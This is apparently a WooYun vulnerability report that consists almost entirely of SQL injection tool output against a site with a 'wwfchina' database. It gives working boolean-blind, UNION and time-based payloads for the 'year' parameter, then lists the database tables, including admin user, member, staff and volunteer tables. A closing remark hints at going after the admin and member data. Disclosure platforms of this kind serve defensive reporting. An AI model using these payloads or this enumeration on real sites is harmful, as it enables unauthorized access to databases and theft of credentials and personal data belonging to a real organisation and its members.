WooYun.org

Place: GET
Parameter: year
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: year=2014 AND 9430=9430
Type: UNION query
Title: MySQL UNION query (NULL) - 9 columns
Payload: year=2014 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a7a646a3a,0x4c
5a64674a436c6e4b48,0x3a6d747a3a), NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: year=2014 AND SLEEP(5)
Database: wwfchina
[42 tables]
+---------------------------------------+
| campaign_iwtc |
| campaign_waa2012city |
| campaign_waa2012user |
| feedback |
| fox_adminuser |
| fox_campaign |
| fox_category |
| fox_config |
| fox_intro |
| fox_job |
| fox_media |
| fox_media_type |
| fox_news |
| fox_newsletter |
| fox_office |
| fox_pandapal |
| fox_print |
| fox_project |
| fox_publication |
| fox_special |
| fox_specialdetail |
| fox_sponsor |
| fox_staff |
| fox_story |
| fox_video |
| fox_wallpaper |
| fox_wiki |
| fox_wikiattachment |
| fox_wwfaction |
| home_info |
| oldpublication |
| pandapal_survey |
| qqimport |
| signup |
| volunteer |
| volunteer_option_work |
| volunteer_worklog |
| weibouser |
| wwf_member |
| wwfmember |
| wwfmembertemp |
| wwfpress |
+---------------------------------------+
Database: information_schema
[40 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_STATS |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_RESET |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_TRX |
| KEY_COLUMN_USAGE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
adminuser and member 你懂的！